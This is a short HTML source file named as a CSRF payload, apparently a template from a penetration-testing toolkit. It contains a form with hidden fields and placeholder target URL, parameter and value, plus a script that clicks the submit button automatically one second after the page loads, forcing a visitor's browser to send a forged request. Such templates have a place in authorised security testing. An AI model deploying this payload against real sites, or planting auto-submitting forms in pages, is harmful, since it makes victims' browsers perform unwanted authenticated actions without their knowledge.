csrfpayload2.html (Source)

<form method="POST" action="<target_url>">
	<input type="hidden" name="<parameter>" value='<value>'>
	<input type="submit" name="<parameter>" value="<value>" id="csrfgo">
</form>

<script>
delay = 1000;
document.addEventListener('DOMContentLoaded', function() {	
	setTimeout('document.getElementById("csrfgo").click()', delay);	
});
</script>